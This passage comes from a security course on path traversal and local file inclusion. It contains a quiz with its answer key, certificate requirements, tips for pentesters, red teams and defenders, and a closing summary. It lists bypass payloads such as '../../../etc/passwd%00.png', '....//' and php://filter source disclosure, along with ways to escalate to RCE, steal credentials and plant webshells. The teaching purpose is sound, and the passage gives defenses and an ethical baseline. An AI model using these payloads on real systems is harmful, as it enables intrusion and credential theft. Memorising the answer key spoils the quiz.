A) `/run/secrets/kubernetes.io/serviceaccount/token` B) `/tmp/k8s.txt` C) `/etc/k8s.cfg` D) `/usr/k8s.conf`

  • 21. UNC-path bypass on Windows uses:

A) `c:\file` B) `\\localhost\c$\windows\win.ini` C) `~/file` D) `/file`

  • 22. The BEST defense against Path Traversal:

A) Hide the file parameter B) Strict allowlist + canonical-path validation (`realpath`/`Path.resolve` + `startsWith(base)`) C) WAF rules alone D) Disable HTTPS

  • 23. `basename()` in PHP:

A) Encodes the filename B) Strips directory components from a path C) Validates the file exists D) Adds a `.php` suffix

  • 24. `realpath()` returns:

A) The original user input B) The canonical absolute path after resolving symlinks and `..` C) The relative path D) Nothing

  • 25. `allow_url_include=Off` in PHP prevents:

A) All file reads B) Inclusion of remote URLs and certain wrappers like `data://` and `php://input` C) Loading any image D) HTTPS requests

  • 26. The highest-impact bug bounty target with Path Traversal:

A) Reading `/etc/passwd` B) Reading `/etc/shadow` and chaining to RCE via Synacktiv filter chain C) Reading `index.html` D) Reading `/proc/version`

  • 27. The payload `../../../etc/passwd%00.png` assumes:

A) The application appends `.png` and uses legacy PHP that truncates at null byte B) PHP 8 strictly handles null bytes C) The file is encrypted D) The web server is Windows-only

  • 28. When `..` is replaced by empty string non-recursively, the bypass is:

A) `....//` B) `\\` C) `data://` D) `c:\`

  • 29. The Synacktiv tool that generates filter chains for LFI to RCE is:

A) sqlmap B) php_filter_chain_generator C) nikto D) dirbuster

  • 30. The MOST important takeaway about Path Traversal and LFI:

A) They are extinct in 2026 B) Foundational bugs caused by trusting user input as filesystem paths; defense requires canonical-path validation and allowlists C) Only WAFs prevent them D) They affect only PHP

Answer key

  • 1.B 2.B 3.B 4.B 5.B 6.B 7.B 8.B 9.A 10.A
  • 11.B 12.C 13.A 14.B 15.B 16.C 17.B 18.A 19.B 20.A
  • 21.B 22.B 23.B 24.B 25.B 26.B 27.A 28.A 29.B 30.B

Scoring

  • 27 to 30: Path Traversal / LFI expert.
  • 24 to 26: Solid.
  • 19 to 23: Functional; re-read sections 11 and 16.
  • Below 19: re-read sections 1 to 8 and retake.

SECTION 22. Certificate Requirements

  • Read all 24 sections of this course.
  • Score 24/30 or higher on section 21.
  • Complete all 6 PortSwigger Web Security Academy Path Traversal labs.
  • Complete at least 12 of the 18 planned ANAS PT Labs (once released).
  • Build a working PoC that demonstrates LFI source disclosure via `php://filter` on a controlled target.
  • Demonstrate one LFI-to-RCE chain (log poisoning, Synacktiv filter chain, or PEAR/PECL) in a sandbox.
  • Write a 500-word case study on one of the CVEs in section 17.
  • Maintain a personal payload library of 40+ traversal/LFI payloads organized by tier.

Ethical baseline

The techniques here work against real production systems. Use them only against systems you own or have explicit written permission to test. Reading files like `/etc/shadow`, `id_rsa`, or `.aws/credentials` without authorization is a criminal act in every jurisdiction this course is taught in.

SECTION 23. Important Notes

Common beginner mistakes

  • Stopping after `../../../etc/passwd` works. Always escalate to source code, configs, and RCE.
  • Trying only one encoding variant. Walk the full ladder.
  • Confusing Path Traversal (read) with LFI (execute). Different sinks, different payloads.
  • Not testing `php://filter` wrappers on every PHP target.
  • Forgetting log poisoning when wrappers fail.
  • Ignoring Windows targets when the server runs Windows.
  • Reporting traversal on a static file (e.g., `index.html`) with no real impact.

Pentester tips

  • Always benchmark with a known-good file (existing image) before traversal payloads.
  • Map the application thoroughly; hidden parameters often have the traversal bugs the main UI does not.
  • When the response is a binary download, hex-dump it to confirm content (sometimes traversal succeeds but content is base64 from a wrapper).
  • Always try `php://filter/convert.base64-encode/resource=` for source disclosure on PHP targets.
  • When you have LFI but no wrappers fit, reach for the Synacktiv filter chain generator.
  • When you have LFI but cannot see output, use Lightyear's error-based oracle.

Bug bounty tips

  • Basic traversal (read `/etc/passwd`) pays $1,000-$3,000.
  • Source code disclosure pays $3,000-$10,000.
  • LFI to RCE pays $10,000-$50,000+ depending on the target.
  • Always demonstrate the full chain. A clean PoC with `id` output is gold.
  • Triagers love a sanitized progression: `/etc/passwd` first, then config secrets, then RCE.
  • Cloud metadata leakage chained from LFI is a critical multiplier on cloud-hosted targets.

Red team tips

  • Path Traversal often leaks SSH keys, giving lateral movement without bypassing auth.
  • LFI chained with log poisoning is one of the quietest RCE techniques (no malware, no upload).
  • The Synacktiv filter chain leaves minimal forensic traces because the payload is URL parameters, not files.
  • Cloud metadata via LFI gives cloud credentials without ever bypassing authentication.
  • Persistence via LFI-installed webshells (in writable directories like `/tmp` or `uploads/`) is silent.

Defender tips

  • Treat every file-system call with user input as suspect until proven safe.
  • Centralize file access through a single safe helper used by every controller.
  • SAST rules that flag default `include`, `require`, `fs.readFile`, `send_file`, `File.ReadAllText` with user input.
  • Run the web user with no read access to `/etc/passwd` (where feasible), `/etc/shadow`, `/home`, `/root`, secrets directories.
  • Set `open_basedir`, `allow_url_include=Off`, `allow_url_fopen=Off` in PHP.
  • Add a CI test that asserts canonical-path validation on every file endpoint.

Real-world advice

  • Modern frameworks normalize paths but still have edge-case bypasses (Spring, Tomcat, Apache, Nginx). Always test on hardened stacks.
  • WAFs catch obvious `../` patterns but rarely the modern Synacktiv filter chains.
  • Bug bounty triagers want to see the chain end-to-end, not just `/etc/passwd`.
  • In production, never use destructive RCE payloads. Use `id`, `whoami`, `hostname` only.
  • Always clean up artifacts (uploaded ZIPs, written webshells, modified configs, log entries).

Things to remember during exams

  • CWE-22 = Path Traversal. CWE-98 = LFI. CWE-73 = External control of filename.
  • `....//` defeats non-recursive `../` filters.
  • `%252f` defeats single-decode filters.
  • Absolute path bypasses prefix-check defenses.
  • `%00` defeats legacy extension-suffix checks.
  • `php://filter` is the golden ticket for LFI exploitation.

Things to remember during real assessments

  • Get explicit written permission to read sensitive system files (`/etc/passwd`, `/etc/shadow`, SSH keys).
  • Throttle enumeration. Mass requests for hundreds of files look like an attack.
  • Never exfiltrate real customer data. Use the smallest possible benign read to prove the bug.
  • Save full HTTP traces. Triagers need to reproduce.
  • Clean up: remove uploaded shells, files written to `/tmp`, poisoned logs where possible.

Frequently confused concepts

  • Path Traversal vs LFI -- Path Traversal reads files; LFI executes them. Same root cause, different sink.
  • LFI vs RFI -- LFI reads local files; RFI includes remote URLs (requires `allow_url_include=On`).
  • LFI to RCE chain -- LFI is read access; RCE comes from wrappers, log poisoning, or filter chains.
  • Path Traversal vs SSRF -- Path Traversal targets the filesystem; SSRF targets the network. They sometimes chain.
  • Directory Traversal vs Path Traversal -- same thing, different name.

Interview tips

  • Explain Path Traversal with a story-free walkthrough: a download endpoint, a `../../../etc/passwd` payload, and what the OS does with it.
  • Be ready to draw the path resolution on a whiteboard.
  • Mention modern techniques: Synacktiv filter chains, log poisoning, PEAR/PECL.
  • Cite CVE-2021-41773 (Apache) or CVE-2019-19781 (Citrix) for real-world impact.
  • Always close with the defense: canonical path resolution plus allowlists.

Key takeaways

  • Path Traversal is the oldest web bug class that still ships in modern code.
  • `../` plus one missing check equals total system compromise.
  • Wrappers turn read primitives into execution primitives.
  • Modern filter chains achieve universal RCE without any special server config.
  • The fix is one architectural rule: never trust user input as a path; always validate the canonical resolved path.

SECTION 24. Final Word from Your Instructor

You finished the long walkthrough on Path Traversal and Local File Inclusion. You now know more about these bug classes than most working developers, and enough to find them, exploit them responsibly, and fix them in any codebase.

Here is the short version.

Path Traversal works because filesystems obey three special tokens (`.`, `..`, `/`) and applications concatenate user input into paths without verifying that the resolved canonical path stays inside the intended directory. The user supplies `../../../etc/passwd`, the OS resolves it literally, the application happily reads it. With one tiny escalation -- swapping `readfile()` for `include()` -- the same trick becomes Local File Inclusion, which evaluates the file as PHP code. Combined with wrappers (`php://filter`, `php://input`, `data://`), log poisoning, session inclusion, the Synacktiv filter chain, or PEAR/PECL command injection, LFI reaches unauthenticated remote code execution on the most popular stacks on the internet in 2026.

The defense is well-known and reproducible per language. Strip directory components with `basename()`. Resolve the path canonically with `realpath()` or its equivalent. Verify the canonical path still starts with the intended base directory. Apply a strict allowlist of expected filenames when feasible, or replace user-controllable filenames with opaque server-side IDs. Disable `allow_url_include` and `allow_url_fopen` in PHP. Run the web user with no read access to sensitive directories. Block egress to cloud metadata IPs.

The CVEs prove this is current. CVE-2021-41773 / CVE-2021-42013 (Apache 2.4.49 / 2.4.50) mass-compromised tens of thousands of hosts within 48 hours of disclosure. CVE-2019-19781 (Citrix) became a primary APT entry point for years. CVE-2024-21896 and CVE-2025-27210 reach Node.js core itself. Bounty payouts in the corpus at https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPFILEREADING.md range from $1,000 for basic disclosures to $12,000 for GitLab Nuget traversal and beyond for fully-chained RCE.

When you see a `?file=`, `?path=`, `?page=`, `?template=`, or `?include=`, you have a candidate. The first probe is `../../../etc/passwd`. The next is the encoding ladder. The third is `php://filter`. The fourth is log poisoning. The fifth is the Synacktiv filter chain. Walk the ladder. Document the chain. Submit the report.

Stay curious. Stay ethical. Verify scope before you touch anything. Read more code than you write. The techniques here are real, the impact is real, and so is the responsibility that goes with the knowledge.

Go hunt.